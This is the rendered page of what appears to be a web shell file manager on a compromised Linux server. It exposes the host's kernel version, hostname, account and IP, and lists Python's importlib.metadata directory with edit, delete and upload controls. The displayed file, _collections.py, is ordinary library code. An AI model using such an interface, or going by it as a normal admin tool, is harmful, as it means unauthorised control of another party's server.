[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib64
/
python3.12
/
importlib
/
metadata
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 __pycache__
SET
[ DEL ]
📄 __init__.py
28,757 B
SET
[ EDIT ]
|
[ DEL ]
📄 _adapters.py
2,406 B
SET
[ EDIT ]
|
[ DEL ]
📄 _collections.py
743 B
SET
[ EDIT ]
|
[ DEL ]
📄 _functools.py
2,895 B
SET
[ EDIT ]
|
[ DEL ]
📄 _itertools.py
2,068 B
SET
[ EDIT ]
|
[ DEL ]
📄 _meta.py
1,590 B
SET
[ EDIT ]
|
[ DEL ]
📄 _text.py
2,166 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: _collections.py
import collections # from jaraco.collections 3.3 class FreezableDefaultDict(collections.defaultdict): """ Often it is desirable to prevent the mutation of a default dict after its initial construction, such as to prevent mutation during iteration. >>> dd = FreezableDefaultDict(list) >>> dd[0].append('1') >>> dd.freeze() >>> dd[1] [] >>> len(dd) 1 """ def __missing__(self, key): return getattr(self, '_frozen', super().__missing__)(key) def freeze(self): self._frozen = lambda key: self.default_factory() class Pair(collections.namedtuple('Pair', 'name value')): @classmethod def parse(cls, text): return cls(*map(str.strip, text.split("=", 1)))